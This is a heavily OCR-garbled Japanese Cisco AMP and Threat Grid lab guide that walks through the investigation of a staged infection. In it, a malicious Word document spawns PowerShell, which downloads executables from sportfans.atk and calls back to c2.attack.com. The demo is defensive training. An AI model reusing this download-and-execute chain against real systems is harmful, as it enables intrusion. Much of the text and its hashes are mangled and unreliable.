24. RIZ, [TINA RV YR ZBA (Launch Device Trajectory)] RE2VEH1vHILET,
[[J B && DR.AD.HACKMDS.COM in group Audit
Hostname Y DR.AD.HACKMDS.COM Group Y Audit
Operating System Y Windows 7, SP 1.0 Policy Y Audit Policy
Connector Version F»5.1.11,10455 Internal IP 198.19.10.101
Install Date 2018-01-05 05:20:24 UTC External IP 198.15.10.101
Connector GUID Y 5deab01f-f2bc-4fab-a2c3-f9cab15b5363 Last Seen Recently
9) Events P Launch Device Trajectory @ View Changes Q Scan & Move to Group... W Delete

25. T—AM [T/IAA RS (Device Trajectory)] 94V RIIZRTEINET , CHIEV AT LAEEELTWDZEETRLET . BB
NRERSNBETHIINBIESHYET, RIRSNBEWEE (L, TS5OY £ylarEBHLTHTIEELY,

¥ :Cisco FireAMP a2V —JLIZT—ANRRINBZ NG E L. RO BRI S TS,
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Device Trajectory

For DR.AD.HACKMDS.COM

1797 1783 1789 4730 1MW TR 1NN 153 15:46 1520 1236

[system] @ <
93u2edd. . L3aSeb |Pel =)
773 202 [PE] = %
powershell.exe [PE] 3) o B e e} =& %
spoobve.exe [PE] : (ﬁ,
Qacedz. . BFGERd |PE| —(5) S0
00620F3. . Lu2B4d |PE| <]
atacdesacic ... [OLEZ) )
6267168, . 57576 |PEl
FDO3EC70.dox o ng (ﬁ)
OUTLOOK.EXE [PE] —
winword .exe [PE] &)
mecafse.tmp [ZIF] =

»

26. $FESNI-TOELRDYRCHERERZELET TV D EDFBTRRINTVEIENOMVET , CNOIEEEAD R ELT
AR TY, =&AL 77C8.exe (&, FELAEITARET7AINELTHESNENSHA SN TLET , Thidk AMP BEEE—FIC
BoTW Iz TY, FfzZh & Powershell.exe [Tk > TSN TLVET A, ZZTld powershell.exe BAZEEITLTULVEL 8
TEARTT, PowerShell [£ Word BhSRITEN TSz ZDKIGILEHYBHNET TT, TV 7NETIN TS AEE
HEABYET, COTAERIZDOVNTSHIZHELET,

27. W[+ BBBEVIVVITEHEBHOEMIORRINET , 77C8.exe D [+] LBEVIVYILTHANET . COERIE
http://www.sportfans.atk M54 v O—KEni=3 D TI,

2018-01-15 183653 UTC
Detected W32 F1ABDC1EOD- 100SBX. TG as 77(8.exe, 0.164.3.63
{flabdcl..900263)[PE Executable] .

Created by powershell.exe, Microsoft® Windows® Operating
Systemn 6.1,7600.16385 (6c05el1..47aec7)[PE Executable]
executing as u@HACKMDS,

Downloaded from http:/ /wnmar. sportfans.atk/files/77C8.exe.

Thefile was not quarantined. |n audit only mode.

Process disposition Benign.

File full path: C:\Users\Dhowser\AppData\Local\Microsoft\
Windows\Temporary Internet Files\77C8.exe

File SHA- 1! saatessssczr7223e80m moaa w86ctrosats2,

File MDS: ssimrai6oed 1120t 3572038270,

File size: 372736 bytes,

Parent file SHA- 1; oscxzbssessoenzasoaess weeazozcssa.
Parent file MDS: sansesonbssacansrezreznssas,

Parent file age: O seconds.
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E COREDICAINESTOSINEEBIHIENEETT . BEDOIILVITIE, REOHMEEEFEL TITEBZEELET . 1 DO
ELT. RILFIR—k RO T EEEND, TILIITEERD/NA—VIZHRTEHENHYFET . H5 1 DOEHTTIE. BohzEHT2
(TR FERFTLET . TNV T IERAD/NA—YEFIYILT. 2 BEE D/ A—IYD T TIZETIN TSN ESI M EFIBLET, 3l
DIR—YDT TICETIN T DIEE. 2 BEE O/ —VIT#EKEL TEITINER A, Cisco AMP [ZELXDTALRAEHIN DL/ VY
Al . SHIZBEEDHITEEFELET . AVE2—20OREDERTIE. —BHNIZZHOTOERANRITINTNSzH. BEOHDT
AV RSN IIB A DH Cisco AMP BN7S5—hE1T5. EVWVSTENBEITHYFET, ChlF, A—F—DRBEDI7(ILEAUR
F—ILTB%E ZOTALRBENEEDH I TOERTIFHRNMEE . TOBRLETALANRFRINGENIEERKRLET . AMP A¥ 1 D
BO/IA—YE2 DEDN—VEHELIZGERICIE. TNE 2 DOBEARINEHETHIENTEET, LELDODRY—22avbTlE.
BED 2 DEDN—IYMNREINTOVETHA. TOIT7MILEBOIYER A, ZD-H REZHFHIHIETEELET,

28. FRDETRICEEAHNIE. COBEBEITELOT [1?] TAAVEHRLTH TSN, COTAAVED )V ITHE CORAMGE
RITREFSNTVSDE AMP HHIBTILTWSZEADLMVET . ChoDARUETISIRDRADRER(I0C) I EFUET,

/ 222 223 134
£

&F 201801-09 06:01:14 UTC

ol

9

o

W32 FLABDCLEOD-100.5BX. TG, 77c8.exe (common filename) o=
[HTRIL], #0.164.3.63 (flabdcl,. 900263) was executed by .
powershell.ete [common filename), Microsoft® Windows®

Cperating System 6.1, 7600,16385 (6c06ell. .4 Faec?) at 06: 2108,

Tuelan 92018 UTC,

AT0S: 2108, Tue Bno 2008 LM

29. RIZ Cisco AMP 2> —JLT FireAMP # v aiR—KRIZRYET, ZZT. COARUEDREIZHE TR X2 AUk T7 /L EREEL
FL&I,

Dashboard

Refresh Al [) AutoRefresh
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30. [ZILox7ER (7 BfE) (Malware Threat (7 Days))] D& T. BHBA DI K) W32.16CB133B61-100.SBX.TG #9JvILFET,

Malware Threats (7 days)

Detection Name Count

31 BHOEF)TA ARNUIMRTEINET, TAMIZZAIO—/LL. DR.AD.Hackmds.com T [f@#f : <BH (Quarantine : Not Seen)]
IS5 TVNBAIRUMEELET

[ DR.AD.HACKMDS.(OM cetected FDO3ECZ0.doc a5 W32.16CB133B61-100.SPX.TG | DA™= 37 Quarantine: Not Seen 2018-01-15 183641 UTC
DR.AD.HACKMDS.COM detect ed PatientMedicalRecord4572451.doc 2 W32.16C(B133B61-100.SBX.TG A=) a!', Quarantine: Not Seer 2018-01-15 183640 UTC
[# DR.AD.HACKMDS.COM detected PatientMedicalRecord4572451 (2).doc 25 W32.16(R133R61-100.SBX.TG By AP n/ Quaranting: Not Seet 2018-01-15 18:36:40 UTC

DA TIE, F£Z AMP Endpoint 9547 BB E—RTOAEITLTNET, TDEEIE. BERMICTILIZ T DERITEIFAIL.,
BRIBICET 21EMETRELRY 2<FvTFrTEHIEIZHYET,

32. COTILIITRO. FOMOBEETZ YT ILETOvy YRMIEMLTIIAys19 50, OV Ea—428&E T Oy oiREIZRITE
BBHIEMTEET, CCETTEHICTOWTIRELIEEZOND =D N—I2HBaVE1—F FAaAVEIIVILET,

DR.AD.HACKMDS.(OM detected FDO3ECZ0.doc a5 W32.16CB133B61-100.SPX.TG —EP ﬂ; Quarantine; Not Seen 2018-01-15 123641 UTC

DR.AD.HACKMDS.(OM cetected PatientMedicalRecord4572451.doc a5 W32.16CB133B61-100.SBX.TG Er AP a;, Quarantine: Not Seen 2018-01-15 1836:40 UTC

DR.AD.HACKMDS.(OM cetected PatientMedicalRecord4572451 (2).doc as W32.16CB133B61-100.SBX.TG | A=) ::7 Quarantine: Not Seer 2018-01-15 183640 UTC

[T/A RSP Y (Device Trajectory)] 4> FIIZRYET,

33. CCT.CORFAAUDTNRAR SOz IMN) DEMERETEET . Ry T TV T DER I FIEBALET .
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Device Trajector

AD.HACKMDS.CON

For D

A AT 1785 %0 M MR MM 200 1206 W20 1236 wss
[System] e . )
93b2edd. . L3a5el |PEL 2018-01-15 183641 UTC
778 exe [PE) ) W . W : NS (ii’ i
pauesshellen: [PE] ()D&~ Detected W32.16CB133861-100.5BX.TG a3 FDO3EC0.doc -0 O
spookve.exs [PE] 4 |ﬁ’
Oabce0?. . 9FGESd |FE| =) {16cb133..dfSch:
Q0B20F3. . Lo2B4d |PE| R
sbocdcedcic e, . [OLEZ) INWORD.EXE, Microsoft Office 2010 14.0.6024.0
RRIZLMN - STATER. 108 ] {ee34459,,9d2973)[Unknown] executing as u@HACKMDS., =
FDO3EC70.doc 1S
OUTLOOK.EXE [PE] The file was not quarantined. n audit only mode.
winword exe [PE] ¥
mecafse.tmp [21P] )
File full path: C:\Users\Dhowser\AppData\Local\Temp\OICE_
623A1B39-FBF3-45CA- AS87-6SFB3D6BCS A3.0\FDO3EC70.doc
FileSHA-1: m
File MDS: se7919 10e322 mienz 205376200,
File size: 226518 bytes.
Parent file SHA-1: wen
Parent file MDS: mazosxsueemaeazermes.
Parent file age O seconds. i
Parent file signed by Microsoft Corporation with certificate serial
6101 b29b00000000001 5 from Microsoft Code Signing PCA,
Expired 20:53:12, Mon May 21 2012 UTC. The certificate was
” trugterd hythe conmniter L

34, RICTFAINRERY)YHILT, A=a—n5 [F TV —3>TOvx 4 (Application Blocking)] &R, RO TOERZ/ER
LI=FFa AU bE@IRLET, BRTIEREN=IBlock Doc 7 FU4s—ay Javx oy YRMEEIRLET,

Device Trajectory
For DR.AD.HACKMDS.COM

1797

[system]
93b2edd. . L3aSeE |PE|
77c8.exe [PE]
powershellon [PE] &S (D H OO @
spookwe.exe [PE]
OaBce02. .9FGEI4 |PE| &)
Q0B20F3. . L264d |PE|
abacdc@cic2a... [OLEZ]
6a67168. .57576a |PE|

FDO3EC70.d~
OUTLOOK.EXE [I
e S 16ch133..df5cha

mscafe tmp 2 z = ;
Disposition: Blocklisted
Filename: Unknown
Copy SHA-256
Search

View Full SHA-256

File Analysis
File Trajectory

Simple Detection

Application Blocking  » Block Doc b
Whitelist Create New Set \l‘
Back

Forward

Reload
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Device Trajectory

OA3 OA8 790 PN £ 03 088 815 1820 235 =s3

[system]
33p2edd4. . L13a5eE |PE|
77c3 e [PE]
poweshellee [PE] D S e
spookve e [PE] ' l?b
0aBceG2. 3F5E34 |Pel B
Q0B20F3. . Lb2B4d |Pe]
sbecdceBcicMe. . [OLEY o)
5267083 575762 |PE =
FDO3EC70.dox ‘Eb'i'b z&
OUTLOOK.EXE [PE] = 3
winword 2 [PE] .§>
msosfse tmp [21P]

SO TELIELLVMERMNRRENET , winword.exe (Microsoft Word) SETEIRET 71 JL &, powershell.exe DHETM D, LD D
ETAHEI7AILDRITINTNEIENOINYET , TAEO—EIL. 7TV — 3> D IE HiE Windows /A—232 ELTRENTLY
F9 ., %5 powershell.exe NFUHINTVEERBNVET A ChiE BEMBITADLIGERITARET 7ML PRITRATYTHISITHK
HELTWSIEERLTLSDTLEID,

35. spoolsvc.exe £y arvDFREBEDI [+] AL (LDFIESE)ZI)vILT. ZORTTAERADEMEHEELET,

2018-01-15 183653 UT(

Detected W32 F1IABDC1EOD- 100SBX. TG as 77(8.exe, 0.164.3.63
(flabdcl..900263)[PE Executable] .

Created by powershell.exe, Microsoft® Windows® Operating
System 6.1.7600.16355 (6c05ell..47aec7)[PE Executable]
executing as u@HACKMDS.

Downloaded from http:/mmner. sportfans.atk/files/77C8.exe.
Thefile was not quarantined. |n audit only mode.

Process disposition Benign.

File full path: C:\Users\Dhowser\AppData\Local\Microsofty
Windows\Temporary Internet Files\77C3.exe

File SHA- 1! ssateasssczrr22zea0mrond o96ct7osdte2,

File WMIDS! ss1mrai7sned 1120 o bs 297202927 b,

File size: 372736 bytes.

Parent file SHA- 1! oscx2pidosnoenzesmoaoaz weeazozcazd.,
Parent file WMIDS:! samnaesonbisacansrezreznizas,

Parent file age: O seconds.
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36. Il TOVvITEAERHIETAREI7ZFAILNLNOMNREINTHET , TNFNDT7AILIL. Microsoft Word 77—
2ar T winword.exe MEHALURTEITESNTHET,

T COSRTIXSCETHEREIZARYET , EEOEATIL. Low Prevalence E—FEFALTEHIANHZEREL. ChoDHUTILE
Cisco Threat Grid IREEICEHEIMIITEIELE T, SO FUATIL, 3 TIZ Cisco Threat Grid IZH T ILEFEELTVWET , ThoDH
DINIE ZDFIFDEBFETRLET,

37. BEMNLGBEDHDI7AILELTIE. spoolsve.exe EWLWVSEITAIRET 7ML HYET , CHIEI AT LA T TIHELIZLDOT. R
EE—ROGEEICIOvIEhET MICH, FETIT4T12H-2TNS,. BEEDEREENHIETAIEET 7ML HYE T, I
77C8.exe EVLVSARELRTOLAAHYET . Zhd PowerShell AIEUHLET7AILTHY . KBEO—EEEZDZIENTEET,

38. #EE L. Public Cisco AMP Cloud @774l ZzyFEFEALTEENHEETLET . COIHRTIE Cisco Private AMP Z L
FT . 547 DFUATIK VFIRICERTHIET, 77c8.exe NEBEEDNHSI7A I THAHELHERSN . N EDONET , R
(T, ERICHERIN-BRHNOBRBET7AINERET HETEBINET  COFHLLWILIZTOBRB (LWL ZEENY I+ I
TERTTHEWIC BRI —IRTLIITHMERENS)ETOvILI-ETHT, Cisco AMP ZEALET,

39. GUAC Jump > AT LAIZEY. WOW (Workstation on Wheels) ##{RLET

40. FLADTERIZ&H D Windows Explorer 74 ILE D7 AV E9)vILET,

— e e I

[ 7start =

41. Explorer D4 RO RRSNIZE, REFIZHIEGFDXF ([543 (Libraries)] 7 E) ZHIBRL T, \AD1\Netlogon A< K%
AALET,

_ﬂ_ Netlogon =10l x|

‘(_;C::}v I 4 K j LQ_IJ|

Organize =  New folder = 0 il I@I
‘

© 2018 Cisco and/or its affiliates. All rights reserved. This document is Cisco Public Information. 92/195 R—%



Cisco dCloud

42. Incident-Response 74 /LA &5y L TREET,
=lof x|

——— 1
(?K )= lﬁ ~ Network ~ AD1 - Netlogon ~

i MJ‘
Organize *  New folder = ~ 0 @
¢ Favorites Mame « Date modified Type Size l
Bl Desktop Incident-Response 12/4/2017 2:09 FM File folder

4. Downloads

43. IR.bat Z7AIEFATILIVYIFT D, BEHJ9ILT B (Open)] #F#IRLET ((FEHLLTEFT(Run as administrator)] &%
RLELTLZELY),

fistaidanielr 4] Windows Batch File
Open
<J¥ Protect_FireAMPSetup Edit PM - Application 47,133KB
Print
g Run as administrator
Troubleshoot compatibility
7-Zip
CRC SHA
[ Edit with Notepad++

44. RV TR T THETITRIEAAMET,

[eh.| G\ Windows' System32\cmd.exe

*\ADx\Net logon~\IR'
CMD.EXE was started with the above path as the current directory.
UNC paths are not supported. Defaulting to Windows directory.

C:\Windows>net use X: ““Ad\netlogon:IR
The command completed successfully.

C:\Windows>msiexec /i X:Nodns\Setup.msi ~gn ORG_ID=2687188% ORG_FINGERPRINT=35dd6
d?fBaBecScl1df?%ec34821365h4 USER_ID=7678417

45, AMP YIr 97 DAV AM—ILNTET LI=D T, RIZZOHI—H D Outlook 2016 DZIEFNAZRHEET . EEDHAHRF 1AV

DRASNRBDBEF A, RIEFAIZHAID N HOMYFET , Outlook 2016 ZRAEEY  FF 21 AV MERE. WOW DREEZEE
J"id—o

46. Microsoft Outlook THEENDZELL A IZHDEFA—ILIZHEAEN TLVS Microsoft Word FFa A2 +ZEF< &, Cisco AMP for
Endpoints 254 7> kT, PatientMedicalRecord IRF 2 AU MDD T [E&: EBA R HE S FE L= (Warning! Threat Detected)]
EWVS Ay E—UMRRESNET,
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*‘4- Cisco AMP

—~ Warning!
7, Threat Detected
PatientMedicalRecord4572451.doc has been detected as
W32.16CB133B61-100.SBX.TG.

(€] 10f 3 @

47. WoW S AT LDREZEHADE, Cisco AMP 54T UMM AT LERE LTINS, TELELIENDLMYET,

' Warning!
i Q Threat Quarantined

spoolsvc.exe has been detected as W32.1C3F3E5D69-
95.SBX.TG. Quarantine was successful.

CNT, COEILaVIFRTTY . KEEDMELEITHYLEL , SEWEELI=M?

=SEREIN - thDREDRE

CNETHEE T, BRELAARRAMBHEENELEA, I T DIVR—R VDA HIET>TOERATL -, BHIDOLRARUE D
BENIZRLT—ELARLDRT—UIEITVWELEZDA AL OREEEOAVIT I IzCEEEDISICHERTESTLLIN, COVRT L
IZDWTIE, FERDKSEEFEM AN E>TLVET,

KBILSI-BRET UMDY RNTHIRLEN, R0 DM A—DIFBAERSh =D,
KEHFRBICEQLSLHELERIFL D, WEEIIEARICBEILI-D.
REE—OVETRATUHLTI AV LD, ThLRETICSAITTRIESh T =D,

COTRTIE, BESNBEOHUAD LRIEISEET 3. ShoORMRORMITRYEHET. COLALOTHLY SvsERFAL
T AV TUNERRITBET 2N EETT,
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¥:/\T1wHD Cisco Threat Grid 1V RAVRIZIE TR TEF AN, BHBADF=ODRY ) —2aybERrLET, —HHIZ, 75V
ZAMEZDT—4% Cisco AMP &L T, =& Cisco Threat Grid Console M SEHE, INETEET ., CDSHRD Threat Grid DERH
1279 RTEILEIHYEL A,

FIIR

1. BEXRHGSHRERTLETFIAN, REICEET 7 —T1I77INEELICRBLESEZBAELET ., TDTFYARRNME, $TIC

Cisco Threat Grid [CFF 1AV REZELTHHLTWET  RORIK, TFHIAM VAT ALIZEELIZTRTOI7AILETRLTL
FT, ChIE BESNEEZTOWAREICELT, ESIHBTA-OOEMIEHRENET DR/ ILET,

:\:;;& Threat Grid #» Submit sample B Samples A Indicators  Q Search ~
5

©Help & mhernandez

Dashboard My Organization My Samples Last 24 Hours  Last7 Days  Last 30 Days

Auto Refresh
£ Avg. Analysis Time A Avg. Threat Score &) Convictions & Submissions S, Unique Submitters [ Unique File Types
1100% prior period 1100% prior period 1100% prior period 1100% prior period 1100% prior period 1100% prior period
Recent Samples
/:?%‘7 -
i
B svchost.doc...exe [ 5 | spoolsvc.exe [ 95 | launcher.bat 2 77C8.exe EZ) PatientMe...doc

Threat Scores Total Submissions by Result TSI

Avg. Threat Score 0.00 (from O submissions) @ No data matches the query...

Critical (95-100) High (75-94) Medium (50-74) Low (0-49)

2. mANZTHO RFaAUREREBEL. COEBEDHBIT—T1477IM DT Threat Grid Thhho1="¢%#FEZELET, dCloud D

Threat Grid IZIZ 77X TELELE=H . COBELSHRD Cisco AMP OEDIZETHET. FOEFEHBAERAED TS,

Recent Samples

[Esvchost.doc...exe [ 95 | spoolsvc.exe launcher.bat [ 100 | 77C8.exe K} PatientMe...doc
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3. RORY)—=22aybTlE FXaAUMIBE T A3 ESEFLFMBFRNATINTVET , CORFIAVMIDNT L DEELRRAU+
. ZEAQ7H 100 THAETT . FNEAFRTHELELS,

Samples / Sample Report: PatientMedicalRecord4572451.doc

< Samples
I Metadata
Indicators
Network
DNS Traffic
TCP/IP Streams
Processes
Artifacts
Registry Activity
Created Keys
Modified Keys
Deleted Keys
File Activity

4. ZOLR—FOBRAEBEEICX—LAU T HE, HICRENK

YES,

"~ SamplelD  3d2dc1879cc01ff920ee5ae74b1a24ef B
Submitted By mhernandez
Threat Score os Windows 7 64-bit
Started 1/10/18 12:54 am
Ended 1/10/18 1:01 am
Duration 0:06:47
Sandbox mtv-work-020 (pilot-d)

Playbook None

Behavioral Indicators

+ + + + + o+

Behavioral Indicators

Title

+ + + + + +

Title

Office Document Launches a Powershell

Artifact Flagged Malicious by Antivirus Service

A Document File Established Network Communications

Specific Set of Indicators Signalling Highly Suspicious Word Document
PowerShell Used to Download and Execute a File

VBA Macro May Call Shell

Office Document Launches a Powershell

Artifact Flagged Malicious by Antivirus Service

A Document File Established Network Communications

Specific Set of Indicators Signalling Highly Suspicious Word Document
PowerShell Used to Download and Execute a File

VBA Macro May Call Shell

Filename
Magic Type
Analyzed As
SHA-256

SHA-1

MD5
Tags

Public & Resubmit & Downloads ~ [ Delete

PatientMedicalRecord4572451.doc B

Microsoft Word 2007+
docx

&

Q 16cb133b618b07baaede55biad5b34bc919fccd
748eb1186ce87b716bfdf5cha B

bf41018165fdf6a405ef3dd7710db49aecB89dcfs

B

18e751491c9e333bbead5079276ce3da B

©

Hits.

Hits

w (=2} w

-

‘ ,

ENAUTH AN 4 DHY ., EBAATERLEF TSI EA DD

Score ~

[Office K31 A kAY PowerShell Z#28) (Office Document Launched a PowerShell)] A%, I KEHMEAH DI EERLTLET &
BIZ [VANARERICK>TEENHDLETFT TSN Iz7—T 177k (Artifact Flagged Malicious by Antivirus)] . BIREASKELA
DO —RERGENFET  MITELTETAREA DTN 2 DHYFET 1 TRV T —IBEZRILTVDRF2AVNTT, TAN
Word FFa AV THHRDBRETY . H5 1 DI, PowerShell ZERAL TEMT AT LEF I A—RLEZRIZETL TSR Fa Ak

—GTO

ZF:CTR SARAY VR RV RARBERNTRITENTVSRITSERABETT . 2FY /U 4—Rybh oD BEEN TV ST, Threat Grid
BEDY—IT,. INIITEFIVO—FLTRITTILEDFIREZRITTEEE A REDBATREA 24—V T EANAREL =
&, ZOHID Word FFAAVDESBEBEDHDVINITTHERICFEEI ML, TR TOFIENETENES,
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5. £5 1 DEELTATLM, Threat Grid THERSN=TOER F57TY AZa—DROBAHYET

port: PatientMedicalRecord4572451.doc Public & Resubmit & Downloads ~ i Delete
Sample ID  3d2dc1879cc01ff920ee5ae74b1a24ef B Filename PatientMedicalRecord4572451.doc & «
Submitted By mhernandez Magic Type  Microsoft Word 200 %
Threat Score 0s Windows 7 64-bit Analyzed As  docx
Started 1/10/18 12:54 am SHA-256 Q 16cb133b618b07bade¥ie55bfa95b34bc919fccd
Ended 1/10/18 1:01 am 748eb1186ce97b716bfdf5cba B
Duration 0:06:47 SHA-1 bf41018165fdf6a405ef3dd7710db49aec89dcfsS
Sandbox mtv-work-020 (pilot-d) B
Playbook None MD5 18e751491c9e333b6ea35079276ce3da &

R o

Behavioral Indicators
6. ThEVIVITEHE BEDOHARF1AVMIL>T 3 DDEAS powershell.exe TOERAMFRRSN I ENHLMET,

Process Tree for Sample 3d2dc1879cc01ff920ee5ae74b1a24ef

Legend
(O Process with additional activity
8 - powersh ‘.exao %Sample PTOCGSS
File activity
9 - powerski 9er RegiStry aCtiVitY

3- WINWOHD.EXEO
1- powershell,exeo

16 - splwowﬁ#.exao

Chb 3 DDOFBALTATLIFAITLLSI D AMP 22V —)LICR>THEFRLTHFEL LS, Cisco Threat Grid ZEALIZSAEIZL> T,
77c8.exe & spoolsvc.exe &LV Powershell.exe BARDM>TWET, D 2 DDEITAIRET7AILIE Threat Grid [C7yTO—KEh
THEY, FlHENRETEDISICHET DGR TEEL -, IR TLMERTELGVKREY —/\THAHT=8. Threat Grid A FRHT
EHW I DEDT—TAI7IMBYET, TDH T ILEL T Launcher. BatiiNAESN TLVET,

ZhTlE Cisco AMP OV Y—ILDREIZBYELLD,

FOEEOCOBEATIE. AMP VY —)LEERIZFERAL-EENTEETT,

7. Jumphost T Firefox ZBiE. AMP a>Y—)LIZRT AU LET,

© 2018 Cisco and/or its affiliates. All rights reserved. This document is Cisco Public Information. 97/195 R—T



Cisco dCloud

8. BWINA vl aR—F T, DR.AD.HACKMDS.COM T—9RF—30% 0 )wILET . EHHIBEIE. WIThHEED
DR.AD.HACKMDS.COM T—49RF—La &9 )voLET,

Dashboard

Overview Events Heat Map

Indications of Compromise

WOW.AD.HACKMDS.COM @ ~  MarkResolved

Threat Detected , Executed malware

contractor ©® ~  Mark Resolved
Threat Detected

&~
DR.AD.HACKMDS.COM @ ~  Mark Resolved
Threat Detected
DR.AD.HACKMDS.COM @ ~ MarkResolved

Threat Detected

9. ARV AZa—Tlk. WFhhDaAYE21—F ST HRMJIZDWVT, [FEEE: 7B (Quarantine: Not Seen)] &€ B D HB AR
BT IENTEET,

Dashboard

Overview Events Heat Map

B Filter: (new) @ Select a Filter ¢
Event Type All Event Types + Group All Groups +
Filters x Computer: a0e22300-ee2b-4c33-8fc8-371401ac42ed

Sort Time - ® Not Subscribed ~ Reset

DR.AD.HACKMDS.COM failed to update a product () “0 Update Failed 2018-01-16 22:47:23 UTC

DR.AD.HACKMDS.COM started a product update &r & Update Started 2018-01-16 22:47:23 UTC

DR.AD.HACKMDS.COM failed to update a product (==} .‘0 Update Failed 2018-01-16 22:46:40 UTC
e

DR.AD.HACKMDS.COM started a product update (==} 7 é;@}fUpdate Started 2018-01-16 22:46:40 UTC

DR.AD.HACKMDS.COM detected 77C8.exe as W32.F1ABDC1E0OD-100.SBX.TG kv v n'/ Quarantine: Not Seen 2018-01-15 18:36:53 UTC

DR.AD.HACKMDS.COM detected spoolsve.exe as W32.1C3F3E5D69-95.SBX.TG Ky v ﬂ; Quarantine: Not Seen  2018-01-15 18:36:53 UTC
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10. REESN TWVEWTATLEAELTEEET,

DR.AD.HACKMDS.COM detected 77C8.exe as W32.F1ABDC1E0D-100.SBX.TG v v 7 Quarantine: Not Seen  2018-01-15 18:36:53 UTC
# DR.AD.HACKMDS.COM detected spoolsvc.exe as W32.1C3F3E5D69-95.SBX.TG Ky v n:/ Quarantine: Not Seen 2018-01-15 18:36:53 UTC

11, SOAZa— PRTLEFALT, E5HELAEDT=HIC Threat Grid IZEETEIRENHLI7MNIVERAEDLEIIENTEET,

Device Trajectory
For DR.AD.HACKMDS.COM

A
Jan 16 "

17:48 17:49 17:50 17:52 17:53 17:54 18:13 18:16 18:20 18:36 18:38 21:29 21:49 21:51 21:52 22:14 22:21 22:22 22:23 314 6:10

[ System]
o3b2ed... 13m0 (pe]  2018-01-15 18:36:53 UTC

77c8.exe [PE] %
powershell.exe [PE] - Detected W32.F1ABDC1E0D-100.SBX.TG as 77C8.exe, R L
spoolsvc.exe [PE] %

0asceo2..0f6804 [pe) 0.164.3.63 (flabdc1..900263)[PE Executable] .

0082013..1b284d [PE] A .
9b9cdc6acic... [Z)Lszl Created by powershell.exe, Microsoft® Windows®

5357"’;5;37;’(;;0";’; Operating System 6.1.7600.16385 (6c05e11..47aec7)[PE
OUTLOOK.EXE [PE] Executable] executing as u@HACKMDS.

winword.exe [PE]

mso9fe.tmp (2ZIP] Downloaded from http://www.sportfans.atk/files/77C8.exe.
4992803..7cb939 [PE] < &
928csba..23000¢ (pe) 1 e file was not quarantined. In audit only mode.

6b4beed. .37b217 [PE] . . R = e Q Q e
Process disposition Benign.

®
D
)
®

File full path: C:\Users\Dhowsenr\AppData\Local\Microsoft\
Windows\Temporary Internet Files\77C8.exe

12. [X] &9UvoLTFatR D4 oRO%FLC. 2FMNETaEX URMIRZ5&512LFET, £9 powershell.exe 77/ ILHSRTIT
EFELLS, TAER YRIER S L, powershell.exe [#FE TRRSNTLET,

Me’“]
93b2ed4..13a5e8 [PE]

77c8.exe [PE] @})

powershell.exe [PE] O O
spoolsvc.exe [PE] %

FDO3EC70.d O <,
OUTLOOK.EXE [PCI)E(]: %)%) @»

winword.exe [PE] ) -
mso9f8e.tmp [ZIP] (_b

4992803..7cb939 [PE] - @_

928c5ba. .230a9f [PE]
6b4beed. .37b217 [PE]
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13. FOtR RM)—LEES L, powershell.exe BFHRED [PE] RITAHET 7/ )L%E 2 DIERLTWBIEAHMYET, TREX X+
J—LIZFNTWB X —L REVED DT B E. powershell.exe [CEK > THERSNI=EITRAIRET 7ML DEHARTEINFET,

THFELLD,

2018-01-15 18:36:53 UTC

Outgoing connection from powershell.exe, Microsoft® e

Windows® Operating System 6.1.7600.16385 ( e ;\}3' :} ;%c—:olsvc.exe
(6c05e11..47aec7)[Unknown] at 198.19.10.101 TCP. to hitn://umss===
www.sportfans.atk/files/spoolsvc.exe (198.18.1 33 bort 80)

Unknown disposition.
Benign process disposition.

At 2018-01-15 18:36:53 UTC

Parent file SHA-1: o4csd2badagsaotatasaaszoadesecees2dseasd.

Parent file MDS5: sata4e405db16ac55d97e3bteabiazta.

15. D 2 KDSAVERDE. SHIZTF IR EHRTEEY,
2018-01-15 18:36:53 UTC

Outgoing connection from powershell.exe, Microsoft®

Windows® Operating System 6.1.7600.16385 " SElRTICBexe HBYET
(6c05€11..47aec7)[Unknown] at 198.19.10.101 TCR46 http:/
www.sportfans.atk/files/77C8.exe (198.18.133.5 port 80) .
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2018-01-15 18:38:33 UTC

Outgoing connection from powershell.exe, Microsoft®
: Windows® Operating System 6.1.7600.16385
(6c05e11..47aec7)[Unknown] at 198.19.10.101 TCP to ht

www.sportfans.atk/files/launcher.bat (198.18 4635 port 0):

= C_CIZ launcher.bat NHYZET,

b v
i

3 :Spoolsve.exe [&. 2DV =y DR%IZHD CTR DFREETHEATIEMNET IV r—2a0 T, BERTIXIOI7AILIEERL
FHAD. Spoolsvc.exe DDAV IRFTHEAINTNEIILLE. BEBICTIERTEE5 L DOFEICEDIEZITEELTIZE,

16. B R TIIROERIEONET,
Spoolsvc.exe BRAYT SN TEITSA TS,
Launcher.bat BFOYTEINTERITSIN TS,
77C8.exe AFAYTENTETEIN TS,
EETTD Y —/\IF www.sportfans.atk THY. IP 7RL R [& 198.18.133.5 TY,

17. powershell.exe DEEIZDNVT, IICREEL TLBEDFHENTLEID A LSAUEEIZRIO—)LTEE, HIEDBENR TS
NEFT, ALWVTAAV B DOMRTENTNBBRETRYA—ILLTRYET , RIZHIERLET,

2

17:48 17:49 17:50 17:52 17:53 17:54 18:13 18:16 18:20 18:36

[ System ] @
93b2ed4..13a5e8 [PE] S
77c8.exe [PE] /v 4
) e A o O o o O o O o O B o O I O O |
powershell.exe [PE] OO0

spoolsve.exe [PE]

18. AWV\FAALED VDT HE EHD URL NRRSNFET,

ER AN AN AN AN N Van an
WP NSNS N NS | T T

PO OO L7 0 = IR € S < )

2018-01-15 17:47:10 UTC

. . ) 2018-01-15 17:47:01 UTC
Outgoing connection from powershell.exe, Microsoft®

Windows® Operating System 6.1.7600.16385

Outgoing connection from powershell.exe,

(6c05e11..47aec7)[Unknown] at 198.19.10.101 ’to http:// Windows® Operating System 6.1.7600.162
c2.attack.com:443/login/process.php (198.18.133.6 port (6c05e11..47aec7)[Unknown] at 198.#510.101 TCP to http:/
443) . c2.attack.com:443/admin/get.php (198.18.133.6 port 443) .
Unknown disposition. Unknown disposition.

Benign process disposition. Benign process disposition.

At 2018-01-15 17:47:10 UTC At 2018-01-15 17:47:01 UTC

Parent file SHA-1: ¢ 4208 Parent file SHA-1: o 45

Parent file MD5: s2tases05db16acssdo7esbresbiazta. Parent file MD5: 92144 e3bledo1a2ta.
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00000111 1T 1T 1
— | 2018-01-15 17:47:01 UTC

Outgoing connection from powershell.exe, Microsoft®
Windows® Operating System 6.1.7600.16385

(6c05e11..47aec7)[Unknown] at 198.19.
c2.attack.com:443/news.php (198.18.133.6 port 443) .

=3

Unknown disposition.
Benign process disposition.

At 2018-01-15 17:47:01 UTC

Parent file SHA-1: o4csdzbadasactatasadso2da256cees2dscdsd.

